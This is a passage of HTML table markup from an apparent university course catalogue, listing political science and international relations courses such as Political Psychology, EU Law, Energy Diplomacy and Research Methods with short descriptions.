5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Political Psychology</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">When one hears the term, political psychology, one might envision the study of elections, campaigns, and voting behavior. Although not inaccurate, this perception excludes a broad range of topics that fall within the purview of political psychology. The course will examine the interaction of political and psychological processes and their impact on behavior in both our local and global communities. Personality and politics; cognition, emotions, and attitudes in political psychology; social identities and the political psychology of groups will be among the topics discussed by the course.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR403</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Political and Economic Geography</p>\r\n  </td>\r\n  <td width=\"507\" style=\"text-align: justify;\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">This course studies geographic factors that affect the development of countries and explores the stages of formation of the modern political world map. It deals with the dynamics of world population and urbanization problems as well as identifies the place of Azerbaijan in the world\'s economic and political system.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR404</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Foundations of Azerbaijan\'s National Security</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The present course provides an introduction to security studies, covering various major theoretical perspectives on security studies and contemporary security issues in the world at the basic level.&nbsp; It also discusses Azerbaijan\'s national interests, threats to the country\'s national security, and the main directions of national security policy. A set of theoretical perspectives and contemporary issues are designed in a mutually complementary way. In addition, it gives directions to students to further deepen self-study in the area of security studies.&nbsp; Mainly encouraged by the nature of the area and thus, deployed with an interdisciplinary approach in the process of designing, the course takes a look at the issues of concern on traditionally drawn boundaries between the security studies and other areas which serves to the purpose of keeping the perspective on security as wider as possible.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR405</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Political systems of Azerbaijan and FC</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course seeks to introduce students to some of the most important issues in the field of political systems and institutions. The course begins with studying the history of political systems and continues with examining the contending theoretical approaches to political systems, and in particular to political institutions. Political regimes, informal and customary political systems, participation, policy processes, elections, legislatures, political finance, and political parties are focused on later during the course. Political systems of the Republic of Azerbaijan, USA and some of the European countries are also discussed.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR410</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Political system and foreign policy of EU</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This module is an introduction to an ever-growing political structure and foreign policy dimension of the EU. It starts with the political developments following the WWII that triggered the integration and political convergence among the European countries and ends with the political developments aftermath the Brexit referendum that left the EU in vague condition. The first part of the course focuses on the Treaties of the EU that led to the establishment of the Common Foreign and Security Policy and the role of the EU institutions in decision making and implementation processes. The second part deals with the foreign policy and promotion of EU norms and values abroad. It explores the sweeping foreign policy tools - incentives, rewards or sanctions via conditionality or lesson-drawing and socialization mechanisms - in relations with other states: candidate states, ENP states (Eastern Partnership &amp; Union for the Mediterranean), and states of other regions.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR411</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Economy of European Countries</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">The purpose of this course is to introduce students to the concepts, processes, and phenomena with regards to the European economy. It looks at the main economic issues behind the integration process. The course also surveys the region\'s areas of specialization in global economy, its ability to influence the global economic development, and assesses the current economic policies of the European Union.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR450</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Comparative Politics</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course explores the strategies of comparativeness in political science. It examines different governmental methods and subsequently highlights some of the big issues of comparative politics, using case studies examples indicating the act of comparing as a means to disclose observed phenomena.</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">The purpose of the course is to provide students of political science with theoretical skills significant to a knowledgeable scrutiny of modern political systems.</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">At the end of the course, students should be versed in with the essentials of political systems in the background of different governance models and have the main knowledge and ability to find out the logic behind the systematic research.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR451</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Modern Integration Processes</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course place explains the dynamics and the complexities of the modern integration processes. It looks at how the establishment of the European Coal and Steel Community (ECSC) triggered regional integration in Western Europe and studies the proliferation of this integration scheme in Central and Eastern Europe. It also familiarizes students with major theories of European integration as well as the practical aspects of the European Union, which is not only an economic and political union of 28 states but still remains to be the most advanced model of integration in the modern world. The course discusses the role of regional trade blocs in facilitating modern integration processes; provides a comparative analysis of modern integration processes in different regions of the world, including in North America, Africa, Latin America, South America, South East Asia, and the Asia-Pacific region. The relations between the European Union and other regions of the world are also assessed within the course.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR452</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"text-align: center;\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:99.75pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">World Economy</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:99.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The aim of this course is to introduce students to various aspects of the global economy. It focuses on the formation and development of the global economy, the potential of the global economy, the mechanism of the global economy and its problems. The course will provide the students with the skills and knowledge needed to understand and analyze global economic trends. It will also help students understand the flow of goods and services around the world and the policies utilized by different governments in this regard.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR453</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:102.0pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Political system and foreign policy of EU</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:102.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The main purpose of this course is to explain the workings of the political system of the European Union. It will discuss the relations between the EU and its member-states and examine the exclusive, common, and supporting powers delegated to the EU which stands as a model of the supranational union of states. The importance of political parties, interest groups, and public opinion in Europe will also be discussed along with the types of elections and elections to the European Parliament being held since 1979.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR460</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">EU Law</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">The course will provide lectures on the evolution, structure, institutions, and sources of EU law and the position of this body of law in the legal systems of the member states. It will discuss the democratic nature of the EU, its stance on the protection of fundamental rights, and the relationship between the welfare state and EU law.</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">The course will pursue the following objectives:</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">• promote understanding of the institutional architecture of the EU, including the horizontal relationship between the institutions and the vertical relationship between the EU and its Member States;</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">• provide a foundational knowledge of the creation and constitution of the European Union;</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">•&nbsp; discuss practical cases in the areas of EU law covered</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR475</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:89.05pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Nation and Nationalism</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:89.05pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">What is a nation? How is the national identity constructed? What are the different types of nationalism? How does the nation-state come into being? These and other questions will be addressed by the course on Nations and Nationalism. It will cover the key theoretical and conceptual approaches to the study of nationalism. Case studies will be presented to facilitate students\' understanding of these theories and concepts.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR480</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:89.05pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Energy Diplomacy</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:89.05pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The course will focus on how oil become an international commercial product that has been playing a crucial role in the formation of contemporary global economy and politics. The impact of oil can be traced in almost any of the historically and globally important developments such as industrialization, global and national economic growths as well as economic downturns, and of course wars of every scope, including domestic, civil, regional and world wars. The course will provide all the necessary directions and sources to understand the fundamentals of politics and economics of energy.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR500</p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Internship</p></td><td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\" style=\"\" width:72.15pt;border-top:none;border-left:solid=\"\" windowtext=\"\" 1.5pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:29.1pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"635\" colspan=\"2\" style=\"\" width:476.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:29.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>MA</strong><strong></strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR550</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Research Methods</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course is designed for undergraduate students. It will introduce students to basic concepts, methods, and techniques of scientific research. The course starts with the introduction of basic knowledge on science and empirical research, which will help students to familiarize themselves with the cornerstones of empirical research, such as hypothesis, variables, and concepts. In this part, students will also learn about the methods of specifying research question and building theory in political science research. Further, students will be presented to core research concepts including research design, measurement of hypothesis, qualitative and quantitative methods, data collection and analysis methods, etc.</p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">In general, the course is composed of three modules: 1) scientific research and its building blocks; 2) modes of data gathering (content analysis, elite interviewing, survey research, observation); 3) Analysis of collected data.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR551</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" 